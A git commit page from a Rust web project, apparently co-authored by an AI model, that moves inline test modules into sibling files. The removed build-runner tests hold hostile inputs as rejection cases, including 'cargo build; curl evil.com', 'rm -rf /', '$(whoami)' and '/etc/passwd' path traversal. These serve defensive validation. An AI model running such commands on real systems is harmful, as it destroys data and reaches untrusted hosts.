Skip to main content

max / makenotwork

Move eight test modules to siblings, and retire the line rule they outgrew pricing, payments, config, scanning, scanning/archive, notifications, promo_codes and build_runner each carried a trailing inline test module. Each becomes a tests.rs sibling. pricing.rs goes 1390 lines to 538 with 849 beside it; config 1532 to 954. pricing and payments each keep a second column-0 #[cfg(test)] item that is not a trailing module: pricing's parse_dollars_tests sits mid-file, and payments' test_provider is a crate-visible PaymentProvider double other tests use. Neither is the block being moved, so both stay. routes/pages/public/discover.rs is deliberately not moved. It has six interleaved #[cfg(test)] items with 394 lines of production code after the last one, so there is no trailing block to relocate. Merging five modules from three regions is a judgement call rather than a mechanical move; filed separately. test_hygiene.rs loses its module-size rule entirely rather than being rescoped. The astra sweep check now carries that budget and is a strict superset except on one axis where this rule was wrong: it counted files over a threshold rather than lines, it never covered src/, its equality assert made every unrelated cleanup an edit to a shared constant, and it charged doc comments. All six files it counted are integration tests, which carry no budget under the production-line rule, so a rescoped remnant would re-impose exactly what was overruled. A comment names the replacement so the next reader finds out where it went. untested_money_paths.rs learns the second shape of "has tests": a module file is covered by its own directory's tests.rs, not only a file inside a module directory. Without it the seal reports a well-covered file as untested. That widens what counts as covered, not what is exempt. 4427 tests at HEAD, 4426 now. The one lost is the retired rule itself; a name-level diff in both directions shows nothing else moved.
Co-Authored-By
Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session
https://claude.ai/code/session_01EEmeiSJnmyL98QzA5Dwsvz
Author: Max Johnson <me@maxj.phd> · 2026-09-05 01:57 UTC
Signed with PGP, not checked
Commit: d676bbed3b294ee533f6a3b7773becf6ab443884
Parent: 917a711
18 files changed, +3759 insertions, -3259 deletions
@@ -1245,230 +1245,4 @@
1245 1245 }
1246 1246
1247 1247 #[cfg(test)]
1248 - mod tests {
1249 - use super::*;
1250 -
1251 - #[test]
1252 - fn the_update_hook_guards_the_namespace_validation_reserves() {
1253 - // Bash cannot read a Rust constant, so the literal in the hook is a
1254 - // copy. Renaming the reserved prefix without editing the hook would
1255 - // leave the new one pushable and the old one locked, which is the
1256 - // failure this pins: two doors, one policy.
1257 - let reserved = crate::validation::RESERVED_NOTE_NAMESPACE;
1258 - assert!(
1259 - UPDATE_HOOK.contains(&format!("refs/notes/{reserved}|refs/notes/{reserved}/*")),
1260 - "the update hook does not guard refs/notes/{reserved}/*:\n{UPDATE_HOOK}"
1261 - );
1262 - // The bare prefix and the subtree are separate patterns in a glob, and
1263 - // matching only the subtree would leave `refs/notes/mnw` itself open.
1264 - assert!(UPDATE_HOOK.contains("exit 1"), "{UPDATE_HOOK}");
1265 - }
1266 -
1267 - #[tokio::test]
1268 - async fn read_capped_truncates_to_cap() {
1269 - // 10k bytes through a 4k cap retains exactly 4k (the rest is drained and
1270 - // discarded so the child never blocks on a full pipe).
1271 - let data = vec![b'x'; 10_000];
1272 - let out = read_capped(&data[..], 4096).await;
1273 - assert_eq!(out.len(), 4096);
1274 - }
1275 -
1276 - #[tokio::test]
1277 - async fn read_capped_returns_all_when_under_cap() {
1278 - let out = read_capped(&b"hello world"[..], 4096).await;
1279 - assert_eq!(out, "hello world");
1280 - }
1281 -
1282 - #[test]
1283 - fn build_failure_message_partial() {
1284 - assert_eq!(
1285 - build_failure_message(1, 2, Some("boom")),
1286 - "partial build failure (1/3 targets succeeded)"
1287 - );
1288 - assert_eq!(
1289 - build_failure_message(2, 1, Some("boom")),
1290 - "partial build failure (2/3 targets succeeded)"
1291 - );
1292 - }
1293 -
1294 - #[test]
1295 - fn build_failure_message_total_failure_uses_first_error() {
1296 - assert_eq!(build_failure_message(0, 3, Some("ssh down")), "ssh down");
1297 - assert_eq!(
1298 - build_failure_message(0, 0, None),
1299 - "no targets produced artifacts"
1300 - );
1301 - }
1302 -
1303 - #[test]
1304 - fn rust_target_mapping() {
1305 - assert_eq!(
1306 - rust_target("linux", "x86_64"),
1307 - Some("x86_64-unknown-linux-gnu")
1308 - );
1309 - assert_eq!(
1310 - rust_target("linux", "aarch64"),
1311 - Some("aarch64-unknown-linux-gnu")
1312 - );
1313 - assert_eq!(rust_target("darwin", "x86_64"), Some("x86_64-apple-darwin"));
1314 - assert_eq!(
1315 - rust_target("darwin", "aarch64"),
1316 - Some("aarch64-apple-darwin")
1317 - );
1318 - assert_eq!(rust_target("windows", "x86_64"), None);
1319 - }
1320 -
1321 - #[test]
1322 - fn hook_template_contains_hmac_not_raw_token() {
1323 - let hook = post_receive_hook("secret-token-123", "alice", "myrepo");
1324 - let expected_hmac = repo_hmac("secret-token-123", "alice", "myrepo");
1325 - assert!(
1326 - hook.contains(&expected_hmac),
1327 - "hook should contain per-repo HMAC"
1328 - );
1329 - assert!(
1330 - !hook.contains("secret-token-123"),
1331 - "hook must not contain raw token"
1332 - );
1333 - assert!(!hook.contains("__HMAC__"), "placeholder should be replaced");
1334 - assert!(hook.contains("/api/internal/builds/trigger"));
1335 - }
1336 -
1337 - /// The two notes arms answer different refs and must not be confused for
1338 - /// each other: an inbox push is merged and answered synchronously, a notes
1339 - /// push is only indexed. A `case` pattern that caught both would either
1340 - /// merge a ref that is already the namespace or leave a push unindexed.
1341 - #[test]
1342 - fn the_hook_indexes_a_notes_push_and_merges_an_inbox_push() {
1343 - let hook = post_receive_hook("secret-token-123", "alice", "myrepo");
1344 - assert!(hook.contains("/api/internal/notes/reindex"));
1345 - assert!(hook.contains("/api/internal/notes/merge-inbox"));
1346 - assert!(hook.contains("refs/notes/*)"));
1347 - assert!(hook.contains("refs/mnw/notes-inbox/*)"));
1348 - // The inbox lives under refs/mnw/, so nothing an inbox push does can
1349 - // fall into the indexing arm. `notes_inbox` pins that prefix itself.
1350 - assert!(!"refs/mnw/notes-inbox/commits".starts_with("refs/notes/"));
1351 - }
1352 -
1353 - /// Fixed vector, duplicated in mnw-cli's `repo_hmac` test. mnw-cli installs
1354 - /// hooks for repos it auto-creates over SSH, and this endpoint verifies
1355 - /// them; if either side's derivation moves, both tests have to move
1356 - /// together or those pushes stop triggering builds.
1357 - #[test]
1358 - fn repo_hmac_matches_mnw_cli_vector() {
1359 - assert_eq!(
1360 - repo_hmac("test-token", "max", "repo"),
1361 - "198b4a4f542c0c27c4ca333030dfe09fe670aa44bae34d7a586481bb13fd9eb0"
1362 - );
1363 - }
1364 -
1365 - #[test]
1366 - fn repo_hmac_differs_per_repo() {
1367 - let h1 = repo_hmac("token", "alice", "repo-a");
1368 - let h2 = repo_hmac("token", "alice", "repo-b");
1369 - assert_ne!(h1, h2, "different repos should produce different HMACs");
1370 - }
1371 -
1372 - #[test]
1373 - fn shell_escape_basic() {
1374 - assert_eq!(shell_escape("hello"), "'hello'");
1375 - assert_eq!(shell_escape("it's"), "'it'\\''s'");
1376 - }
1377 -
1378 - #[test]
1379 - fn validate_build_command_accepts_safe_commands() {
1380 - assert!(
1381 - validate_build_command("cargo build --release --target x86_64-unknown-linux-gnu")
1382 - .is_ok()
1383 - );
1384 - assert!(validate_build_command("make -j4").is_ok());
1385 - assert!(validate_build_command("RUSTFLAGS=--cfg tokio_unstable cargo build").is_ok());
1386 - }
1387 -
1388 - #[test]
1389 - fn validate_build_command_rejects_injection() {
1390 - assert!(validate_build_command("cargo build; curl evil.com").is_err());
1391 - assert!(validate_build_command("cargo build && rm -rf /").is_err());
1392 - assert!(validate_build_command("cargo build | tee log").is_err());
1393 - assert!(validate_build_command("$(whoami)").is_err());
1394 - assert!(validate_build_command("`whoami`").is_err());
1395 - assert!(validate_build_command("cargo build > /dev/null").is_err());
1396 - assert!(validate_build_command("").is_err());
1397 - assert!(
1398 - validate_build_command(" ").is_err(),
1399 - "whitespace-only has no program"
1400 - );
1401 - assert!(
1402 - validate_build_command("FOO=bar").is_err(),
1403 - "assignment with no program"
1404 - );
1405 - }
1406 -
1407 - #[test]
1408 - fn remote_command_parse_separates_env_program_args() {
1409 - let c = RemoteCommand::parse("cargo build --release").unwrap();
1410 - assert!(c.assignments.is_empty());
1411 - assert_eq!(c.program, "cargo");
1412 - assert_eq!(c.args, vec!["build", "--release"]);
1413 -
1414 - let c = RemoteCommand::parse("RUSTFLAGS=--cfg CARGO_INCREMENTAL=0 cargo build").unwrap();
1415 - assert_eq!(
1416 - c.assignments,
1417 - vec!["RUSTFLAGS=--cfg", "CARGO_INCREMENTAL=0"]
1418 - );
1419 - assert_eq!(c.program, "cargo");
1420 - assert_eq!(c.args, vec!["build"]);
1421 - }
1422 -
1423 - #[test]
1424 - fn remote_command_render_escapes_every_token() {
1425 - // Plain command: each token individually single-quoted.
1426 - let c = RemoteCommand::parse("cargo build --release").unwrap();
1427 - assert_eq!(c.render(), "'cargo' 'build' '--release'");
1428 -
1429 - // Env prefix: applied via `env`, each element escaped.
1430 - let c = RemoteCommand::parse("RUSTFLAGS=--cfg cargo build").unwrap();
1431 - assert_eq!(c.render(), "env 'RUSTFLAGS=--cfg' 'cargo' 'build'");
1432 - }
1433 -
1434 - #[test]
1435 - fn is_env_assignment_recognizes_valid_identifiers_only() {
1436 - assert!(is_env_assignment("FOO=bar"));
1437 - assert!(is_env_assignment("_X1=y"));
1438 - assert!(is_env_assignment("A=")); // empty value is a valid assignment
1439 - assert!(
1440 - !is_env_assignment("1FOO=bar"),
1441 - "identifier can't start with a digit"
1442 - );
1443 - assert!(!is_env_assignment("cargo"), "no '='");
1444 - assert!(!is_env_assignment("--target=x"), "not a shell identifier");
1445 - }
1446 -
1447 - #[test]
1448 - fn render_defuses_would_be_injection_even_if_charset_bypassed() {
1449 - // Construct a RemoteCommand directly with a hostile arg (bypassing the
1450 - // token charset check) to prove render() is the real guard: the shell
1451 - // sees a single quoted word, not a command separator.
1452 - let c = RemoteCommand {
1453 - assignments: vec![],
1454 - program: "cargo".to_string(),
1455 - args: vec!["build; rm -rf /".to_string()],
1456 - };
1457 - assert_eq!(c.render(), "'cargo' 'build; rm -rf /'");
1458 - }
1459 -
1460 - #[test]
1461 - fn validate_artifact_path_accepts_safe_paths() {
1462 - assert!(validate_artifact_path("target/x86_64-unknown-linux-gnu/release/myapp").is_ok());
1463 - assert!(validate_artifact_path("dist/app-v0.1.0.tar.gz").is_ok());
1464 - }
1465 -
1466 - #[test]
1467 - fn validate_artifact_path_rejects_unsafe() {
1468 - assert!(validate_artifact_path("/etc/passwd").is_err());
1469 - assert!(validate_artifact_path("../../../etc/passwd").is_err());
1470 - assert!(validate_artifact_path("path with spaces").is_err());
1471 - assert!(validate_artifact_path("$(whoami)").is_err());
1472 - assert!(validate_artifact_path("").is_err());
1473 - }
1474 - }
1248 + mod tests;
@@ -951,582 +951,4 @@
951 951 }
952 952
953 953 #[cfg(test)]
954 - mod tests {
955 - use super::*;
956 - use std::sync::Mutex;
957 -
958 - /// Mutex to serialize tests that call Config::from_env(), since env vars are
959 - /// process-global and concurrent mutation causes flaky failures.
960 - static ENV_LOCK: Mutex<()> = Mutex::new(());
961 -
962 - /// All env var keys that Config::from_env() reads. Used by the guard to
963 - /// snapshot and restore state so tests don't leak into each other.
964 - const CONFIG_ENV_VARS: &[&str] = &[
965 - "HOST",
966 - "PORT",
967 - "DATABASE_URL",
968 - "HOST_URL",
969 - "SIGNING_SECRET",
970 - "S3_ENDPOINT",
971 - "S3_BUCKET",
972 - "S3_ACCESS_KEY",
973 - "S3_SECRET_KEY",
974 - "S3_REGION",
975 - "S3_PUBLIC_BUCKET",
976 - "S3_RPM_BUCKET",
977 - "RPM_S3_ENDPOINT",
978 - "RPM_S3_BUCKET",
979 - "RPM_S3_ACCESS_KEY",
980 - "RPM_S3_SECRET_KEY",
981 - "RPM_S3_REGION",
982 - "RPM_BASE_URL",
983 - "SYNCKIT_S3_ENDPOINT",
984 - "SYNCKIT_S3_BUCKET",
985 - "SYNCKIT_S3_ACCESS_KEY",
986 - "SYNCKIT_S3_SECRET_KEY",
987 - "SYNCKIT_S3_REGION",
988 - "STRIPE_SECRET_KEY",
989 - "STRIPE_WEBHOOK_SECRET",
990 - "STRIPE_WEBHOOK_SECRET_V2",
991 - "ADMIN_USER_ID",
992 - "SYNCKIT_JWT_SECRET",
993 - "SCAN_ENABLED",
994 - "CLAMAV_SOCKET",
995 - "YARA_RULES_DIR",
996 - "MALWAREBAZAAR_ENABLED",
997 - "URLHAUS_ENABLED",
998 - "ABUSE_CH_AUTH_KEY",
999 - "METADEFENDER_API_KEY",
1000 - "GIT_REPOS_PATH",
1001 - "POSTMARK_WEBHOOK_TOKEN",
1002 - "POSTMARK_BROADCAST_WEBHOOK_TOKEN",
1003 - "GIT_SSH_HOST",
1004 - "MT_BASE_URL",
1005 - "FAN_PLUS_STRIPE_PRICE_ID",
1006 - "CREATOR_TIER_BASIC_PRICE_ID",
1007 - "CREATOR_TIER_SMALL_FILES_PRICE_ID",
1008 - "CREATOR_TIER_BIG_FILES_PRICE_ID",
1009 - "CREATOR_TIER_EVERYTHING_PRICE_ID",
1010 - "CREATOR_TIER_BASIC_ANNUAL_PRICE_ID",
1011 - "CREATOR_TIER_SMALL_FILES_ANNUAL_PRICE_ID",
1012 - "CREATOR_TIER_BIG_FILES_ANNUAL_PRICE_ID",
1013 - "CREATOR_TIER_EVERYTHING_ANNUAL_PRICE_ID",
1014 - "CREATOR_TIER_BASIC_FOUNDER_PRICE_ID",
1015 - "CREATOR_TIER_SMALL_FILES_FOUNDER_PRICE_ID",
1016 - "CREATOR_TIER_BIG_FILES_FOUNDER_PRICE_ID",
1017 - "CREATOR_TIER_EVERYTHING_FOUNDER_PRICE_ID",
1018 - "CREATOR_TIER_BASIC_FOUNDER_ANNUAL_PRICE_ID",
1019 - "CREATOR_TIER_SMALL_FILES_FOUNDER_ANNUAL_PRICE_ID",
1020 - "CREATOR_TIER_BIG_FILES_FOUNDER_ANNUAL_PRICE_ID",
1021 - "CREATOR_TIER_EVERYTHING_FOUNDER_ANNUAL_PRICE_ID",
1022 - "CREATOR_FOUNDER_WINDOW_OPEN",
1023 - "BUILD_TRIGGER_TOKEN",
1024 - "BUILD_HOST_LINUX",
1025 - "BUILD_HOST_DARWIN",
1026 - "CDN_BASE_URL",
1027 - "POSTMARK_INBOUND_WEBHOOK_TOKEN",
1028 - "INTERNAL_SHARED_SECRET",
1029 - "CLI_SERVICE_TOKEN",
1030 - "WAM_URL",
1031 - "WAM_TOKEN",
1032 - "ACCESS_GATE",
1033 - "SSO_PROVIDER_URL",
1034 - "SSO_CLIENT_ID",
1035 - "SSO_KEY",
1036 - ];
1037 -
1038 - /// RAII guard that snapshots config-related env vars on creation and restores
1039 - /// them when dropped. Also holds the ENV_LOCK so tests run serially.
1040 - struct EnvGuard {
1041 - _lock: std::sync::MutexGuard<'static, ()>,
1042 - snapshot: Vec<(&'static str, Option<String>)>,
1043 - }
1044 -
1045 - impl EnvGuard {
1046 - fn new() -> Self {
1047 - let lock = ENV_LOCK
1048 - .lock()
1049 - .unwrap_or_else(std::sync::PoisonError::into_inner);
1050 - let snapshot = CONFIG_ENV_VARS
1051 - .iter()
1052 - .map(|&key| (key, std::env::var(key).ok()))
1053 - .collect();
1054 - Self {
1055 - _lock: lock,
1056 - snapshot,
1057 - }
1058 - }
1059 -
1060 - /// Remove all config env vars so from_env() sees a clean slate.
1061 - fn clear_all() {
1062 - for &key in CONFIG_ENV_VARS {
1063 - // SAFETY: test-only, serialized by mutex
1064 - unsafe {
1065 - std::env::remove_var(key);
1066 - }
1067 - }
1068 - }
1069 - }
1070 -
1071 - impl Drop for EnvGuard {
1072 - fn drop(&mut self) {
1073 - for (key, val) in &self.snapshot {
1074 - match val {
1075 - // SAFETY: test-only, serialized by mutex
1076 - Some(v) => unsafe { std::env::set_var(key, v) },
1077 - None => unsafe { std::env::remove_var(key) },
1078 - }
1079 - }
1080 - }
1081 - }
1082 -
1083 - // ---- tests ----
1084 -
1085 - #[test]
1086 - fn socket_addr_combines_host_and_port() {
1087 - let config = Config {
1088 - host: "127.0.0.1".parse().unwrap(),
1089 - port: 8080,
1090 - database_url: "postgres://test".to_string(),
1091 - host_url: Arc::from("http://localhost:8080"),
1092 - signing_secret: "secret".to_string(),
1093 - storage: None,
1094 - synckit_storage: None,
1095 - public_storage: None,
1096 - rpm_storage: None,
1097 - rpm_base_url: None,
1098 - stripe: None,
1099 - admin_user_id: None,
1100 - synckit_jwt_secret: None,
1101 - scan: None,
1102 - cdn_base_url: "https://cdn.localhost".to_string(),
1103 - user_pages_host: Arc::from("u.localhost"),
1104 - access_gate: AccessGate::Open,
1105 - sso: None,
1106 - rate_limits: crate::constants::RateLimits::production(),
1107 - build: BuildConfig {
1108 - trigger_token: None,
1109 - host_linux: None,
1110 - host_darwin: None,
1111 - git_repos_path: None,
1112 - git_ssh_host: None,
1113 - },
1114 - email_webhooks: EmailWebhookConfig {
1115 - webhook_token: None,
1116 - broadcast_webhook_token: None,
1117 - inbound_webhook_token: None,
1118 - enforce_sender_auth: true,
1119 - },
1120 - creator_pricing: CreatorTierPricing {
1121 - fan_plus_price_id: None,
1122 - tier_prices: HashMap::new(),
1123 - tier_annual_prices: HashMap::new(),
1124 - tier_founder_prices: HashMap::new(),
1125 - tier_founder_annual_prices: HashMap::new(),
1126 - founder_window_open: false,
1127 - },
1128 - integrations: IntegrationsConfig {
1129 - mt_base_url: None,
1130 - wam_url: None,
1131 - internal_shared_secret: None,
1132 - cli_service_token: None,
1133 - alerts_ingest_token: None,
1134 - },
1135 - };
1136 - let addr = config.socket_addr();
1137 - assert_eq!(addr.port(), 8080);
1138 - assert_eq!(addr.ip().to_string(), "127.0.0.1");
1139 - }
1140 -
1141 - #[test]
1142 - fn config_error_display() {
1143 - assert_eq!(ConfigError::InvalidHost.to_string(), "Invalid HOST address");
1144 - assert_eq!(ConfigError::InvalidPort.to_string(), "Invalid PORT number");
1145 - assert!(
1146 - ConfigError::MissingDatabaseUrl
1147 - .to_string()
1148 - .contains("DATABASE_URL")
1149 - );
1150 - }
1151 -
1152 - // ---- from_env validation tests ----
1153 -
1154 - #[test]
1155 - fn from_env_succeeds_with_required_vars() {
1156 - let guard = EnvGuard::new();
1157 - EnvGuard::clear_all();
1158 -
1159 - // SAFETY: test-only, serialized by EnvGuard mutex
1160 - unsafe {
1161 - std::env::set_var("DATABASE_URL", "postgres://localhost/test_db");
1162 - std::env::set_var("CDN_BASE_URL", "https://cdn.test");
1163 - }
1164 -
1165 - let config = Config::from_env().expect("should succeed with DATABASE_URL set");
1166 - assert_eq!(config.database_url, "postgres://localhost/test_db");
1167 - // Defaults: host=127.0.0.1, port=3000
1168 - assert_eq!(config.host.to_string(), "127.0.0.1");
1169 - assert_eq!(config.port, 3000);
1170 - // Signing secret should be a random 64-char hex string in dev mode
1171 - assert!(!config.signing_secret.is_empty());
1172 - drop(guard);
1173 - }
1174 -
1175 - #[test]
1176 - fn from_env_fails_without_database_url() {
1177 - let guard = EnvGuard::new();
1178 - EnvGuard::clear_all();
1179 -
1180 - let err = Config::from_env().unwrap_err();
1181 - assert!(
1182 - matches!(err, ConfigError::MissingDatabaseUrl),
1183 - "expected MissingDatabaseUrl, got: {err}"
1184 - );
1185 - drop(guard);
1186 - }
1187 -
1188 - #[test]
1189 - fn from_env_fails_in_production_without_signing_secret() {
1190 - let guard = EnvGuard::new();
1191 - EnvGuard::clear_all();
1192 -
1193 - // SAFETY: test-only, serialized by EnvGuard mutex
1194 - unsafe {
1195 - std::env::set_var("DATABASE_URL", "postgres://localhost/test_db");
1196 - std::env::set_var("CDN_BASE_URL", "https://cdn.test");
1197 - std::env::set_var("HOST", "0.0.0.0"); // production indicator
1198 - }
1199 -
1200 - let err = Config::from_env().unwrap_err();
1201 - assert!(
1202 - matches!(err, ConfigError::MissingSigningSecret),
1203 - "expected MissingSigningSecret, got: {err}"
1204 - );
1205 - drop(guard);
1206 - }
1207 -
1208 - #[test]
1209 - fn from_env_fails_without_cdn_base_url_even_outside_production() {
1210 - let guard = EnvGuard::new();
1211 - EnvGuard::clear_all();
1212 -
1213 - // SAFETY: test-only, serialized by EnvGuard mutex
1214 - unsafe {
1215 - std::env::set_var("DATABASE_URL", "postgres://localhost/test_db");
1216 - std::env::set_var("SIGNING_SECRET", "x".repeat(32)); // pass the pre-CDN gate
1217 - // No production indicator: HOST stays unset, so this is a dev config.
1218 - // It must STILL fail. The requirement is unconditional precisely so
1219 - // no environment can reach the old presigned fallback, which minted
1220 - // a 24-hour URL into the durable `projects.cover_image_url` column.
1221 - // CDN_BASE_URL deliberately unset.
1222 - }
1223 -
1224 - let err = Config::from_env().unwrap_err();
1225 - assert!(
1226 - matches!(err, ConfigError::MissingCdnBaseUrl),
1227 - "expected MissingCdnBaseUrl, got: {err}"
1228 - );
1229 - drop(guard);
1230 - }
1231 -
1232 - #[test]
1233 - fn from_env_accepts_production_with_cdn_base_url() {
1234 - let guard = EnvGuard::new();
1235 - EnvGuard::clear_all();
1236 -
1237 - // SAFETY: test-only, serialized by EnvGuard mutex
1238 - unsafe {
1239 - std::env::set_var("DATABASE_URL", "postgres://localhost/test_db");
1240 - std::env::set_var("CDN_BASE_URL", "https://cdn.test");
1241 - std::env::set_var("SIGNING_SECRET", "x".repeat(32));
1242 - std::env::set_var("HOST", "0.0.0.0");
1243 - std::env::set_var("CDN_BASE_URL", "https://cdn.makenot.work");
1244 - }
1245 -
1246 - let config = Config::from_env().expect("production config with CDN should succeed");
1247 - assert_eq!(config.cdn_base_url, "https://cdn.makenot.work");
1248 - drop(guard);
1249 - }
1250 -
1251 - #[test]
1252 - fn from_env_fails_with_https_host_url_without_signing_secret() {
1253 - let guard = EnvGuard::new();
1254 - EnvGuard::clear_all();
1255 -
1256 - // SAFETY: test-only, serialized by EnvGuard mutex
1257 - unsafe {
1258 - std::env::set_var("DATABASE_URL", "postgres://localhost/test_db");
1259 - std::env::set_var("CDN_BASE_URL", "https://cdn.test");
1260 - std::env::set_var("HOST_URL", "https://makenot.work"); // production indicator
1261 - }
1262 -
1263 - let err = Config::from_env().unwrap_err();
1264 - assert!(
1265 - matches!(err, ConfigError::MissingSigningSecret),
1266 - "expected MissingSigningSecret, got: {err}"
1267 - );
1268 - drop(guard);
1269 - }
1270 -
1271 - #[test]
1272 - fn from_env_fails_with_short_synckit_jwt_secret() {
1273 - let guard = EnvGuard::new();
1274 - EnvGuard::clear_all();
1275 -
1276 - // SAFETY: test-only, serialized by EnvGuard mutex
1277 - unsafe {
1278 - std::env::set_var("DATABASE_URL", "postgres://localhost/test_db");
1279 - std::env::set_var("CDN_BASE_URL", "https://cdn.test");
1280 - std::env::set_var("SIGNING_SECRET", "x".repeat(32));
1281 - // 31 chars, one under the floor.
1282 - std::env::set_var("SYNCKIT_JWT_SECRET", "x".repeat(31));
1283 - }
1284 -
1285 - let err = Config::from_env().unwrap_err();
1286 - assert!(
1287 - matches!(err, ConfigError::WeakSynckitJwtSecret),
1288 - "expected WeakSynckitJwtSecret, got: {err}"
1289 - );
1290 - drop(guard);
1291 - }
1292 -
1293 - #[test]
1294 - fn from_env_accepts_strong_synckit_jwt_secret() {
1295 - let guard = EnvGuard::new();
1296 - EnvGuard::clear_all();
1297 -
1298 - // SAFETY: test-only, serialized by EnvGuard mutex
1299 - unsafe {
1300 - std::env::set_var("DATABASE_URL", "postgres://localhost/test_db");
1301 - std::env::set_var("CDN_BASE_URL", "https://cdn.test");
1302 - std::env::set_var("SIGNING_SECRET", "x".repeat(32));
1303 - std::env::set_var("SYNCKIT_JWT_SECRET", "y".repeat(32));
1304 - }
1305 -
1306 - let config = Config::from_env().expect("32-char JWT secret should be accepted");
1307 - assert_eq!(
1308 - config.synckit_jwt_secret.as_deref(),
1309 - Some("y".repeat(32).as_str())
1310 - );
1311 - drop(guard);
1312 - }
1313 -
1314 - #[test]
1315 - fn from_env_uses_random_dev_secret_when_not_production() {
1316 - let guard = EnvGuard::new();
1317 - EnvGuard::clear_all();
1318 -
1319 - // SAFETY: test-only, serialized by EnvGuard mutex
1320 - unsafe {
1321 - std::env::set_var("DATABASE_URL", "postgres://localhost/test_db");
1322 - std::env::set_var("CDN_BASE_URL", "https://cdn.test");
1323 - // HOST defaults to 127.0.0.1, HOST_URL defaults to http://..., no SIGNING_SECRET
1324 - }
1325 -
1326 - let config = Config::from_env().expect("should succeed in dev mode without SIGNING_SECRET");
1327 - // Should be a 64-char hex string (256-bit random)
1328 - assert_eq!(
1329 - config.signing_secret.len(),
1330 - 64,
1331 - "expected 64-char hex signing secret, got length {}",
1332 - config.signing_secret.len()
1333 - );
1334 - assert!(
1335 - config.signing_secret.chars().all(|c| c.is_ascii_hexdigit()),
1336 - "expected hex signing secret, got: {}",
1337 - config.signing_secret
1338 - );
1339 - drop(guard);
1340 - }
1341 -
1342 - #[test]
1343 - fn from_env_storage_none_when_partially_set() {
1344 - let guard = EnvGuard::new();
1345 - EnvGuard::clear_all();
1346 -
1347 - // SAFETY: test-only, serialized by EnvGuard mutex
1348 - unsafe {
1349 - std::env::set_var("DATABASE_URL", "postgres://localhost/test_db");
1350 - std::env::set_var("CDN_BASE_URL", "https://cdn.test");
1351 - // Set only some S3 vars, missing S3_SECRET_KEY and S3_ACCESS_KEY
1352 - std::env::set_var("S3_ENDPOINT", "https://fsn1.your-objectstorage.com");
1353 - std::env::set_var("S3_BUCKET", "test-bucket");
1354 - }
1355 -
1356 - let config = Config::from_env().expect("should succeed");
1357 - assert!(
1358 - config.storage.is_none(),
1359 - "storage should be None when S3 vars are only partially set"
1360 - );
1361 - drop(guard);
1362 - }
1363 -
1364 - #[test]
1365 - fn from_env_storage_some_when_fully_set() {
1366 - let guard = EnvGuard::new();
1367 - EnvGuard::clear_all();
1368 -
1369 - // SAFETY: test-only, serialized by EnvGuard mutex
1370 - unsafe {
1371 - std::env::set_var("DATABASE_URL", "postgres://localhost/test_db");
1372 - std::env::set_var("CDN_BASE_URL", "https://cdn.test");
1373 - std::env::set_var("S3_ENDPOINT", "https://fsn1.your-objectstorage.com");
1374 - std::env::set_var("S3_BUCKET", "test-bucket");
1375 - std::env::set_var("S3_ACCESS_KEY", "ak");
1376 - std::env::set_var("S3_SECRET_KEY", "sk");
1377 - }
1378 -
1379 - let config = Config::from_env().expect("should succeed");
1380 - let storage = config
1381 - .storage
1382 - .expect("storage should be Some when all S3 vars set");
1383 - assert_eq!(storage.endpoint, "https://fsn1.your-objectstorage.com");
1384 - assert_eq!(storage.bucket, "test-bucket");
1385 - assert_eq!(storage.region, "us-east-1"); // default region
1386 - drop(guard);
1387 - }
1388 -
1389 - #[test]
1390 - fn from_env_stripe_none_when_secret_key_missing() {
1391 - let guard = EnvGuard::new();
1392 - EnvGuard::clear_all();
1393 -
1394 - // SAFETY: test-only, serialized by EnvGuard mutex
1395 - unsafe {
1396 - std::env::set_var("DATABASE_URL", "postgres://localhost/test_db");
1397 - std::env::set_var("CDN_BASE_URL", "https://cdn.test");
1398 - // Set webhook secret but not secret key
1399 - std::env::set_var("STRIPE_WEBHOOK_SECRET", "whsec_test");
1400 - }
1401 -
1402 - let config = Config::from_env().expect("should succeed");
1403 - assert!(
1404 - config.stripe.is_none(),
1405 - "stripe should be None when STRIPE_SECRET_KEY is missing"
1406 - );
1407 - drop(guard);
1408 - }
1409 -
1410 - #[test]
1411 - fn from_env_stripe_none_when_webhook_secret_missing() {
1412 - let guard = EnvGuard::new();
1413 - EnvGuard::clear_all();
1414 -
1415 - // SAFETY: test-only, serialized by EnvGuard mutex
1416 - unsafe {
1417 - std::env::set_var("DATABASE_URL", "postgres://localhost/test_db");
1418 - std::env::set_var("CDN_BASE_URL", "https://cdn.test");
1419 - // Set secret key but not webhook secret
1420 - std::env::set_var("STRIPE_SECRET_KEY", "sk_test_abc");
1421 - }
1422 -
1423 - let config = Config::from_env().expect("should succeed");
1424 - assert!(
1425 - config.stripe.is_none(),
1426 - "stripe should be None when STRIPE_WEBHOOK_SECRET is missing"
1427 - );
1428 - drop(guard);
1429 - }
1430 -
1431 - #[test]
1432 - fn from_env_stripe_some_when_fully_set() {
1433 - let guard = EnvGuard::new();
1434 - EnvGuard::clear_all();
1435 -
1436 - // SAFETY: test-only, serialized by EnvGuard mutex
1437 - unsafe {
1438 - std::env::set_var("DATABASE_URL", "postgres://localhost/test_db");
1439 - std::env::set_var("CDN_BASE_URL", "https://cdn.test");
1440 - std::env::set_var("STRIPE_SECRET_KEY", "sk_test_abc");
1441 - std::env::set_var("STRIPE_WEBHOOK_SECRET", "whsec_test");
1442 - }
1443 -
1444 - let config = Config::from_env().expect("should succeed");
1445 - let stripe = config
1446 - .stripe
1447 - .expect("stripe should be Some when fully configured");
1448 - assert_eq!(stripe.secret_key, "sk_test_abc");
1449 - assert_eq!(stripe.webhook_secret, vec!["whsec_test".to_string()]);
1450 - assert!(stripe.webhook_secret_v2.is_none());
Lines truncated
@@ -535,856 +535,4 @@
535 535 // Tests
536 536
537 537 #[cfg(test)]
538 - mod tests {
539 - use super::*;
540 -
541 - // ── FreePricing ──
542 -
543 - #[test]
544 - fn free_is_free() {
545 - assert!(FreePricing.is_free());
546 - }
547 -
548 - #[test]
549 - fn free_always_accessible() {
550 - assert!(FreePricing.can_access(&AccessContext::default()));
551 - }
552 -
553 - #[test]
554 - fn free_price_display() {
555 - assert_eq!(FreePricing.price_display(SettlementCurrency::Usd), "Free");
556 - }
557 -
558 - #[test]
559 - fn free_price_cents() {
560 - assert_eq!(FreePricing.price_cents(), 0);
561 - }
562 -
563 - #[test]
564 - fn free_checkout_type() {
565 - assert_eq!(FreePricing.checkout_type(), CheckoutType::None);
566 - }
567 -
568 - #[test]
569 - fn free_validate_amount() {
570 - assert!(
571 - FreePricing
572 - .validate_amount(0, SettlementCurrency::Usd)
573 - .is_ok()
574 - );
575 - assert!(
576 - FreePricing
577 - .validate_amount(100, SettlementCurrency::Usd)
578 - .is_ok()
579 - );
580 - }
581 -
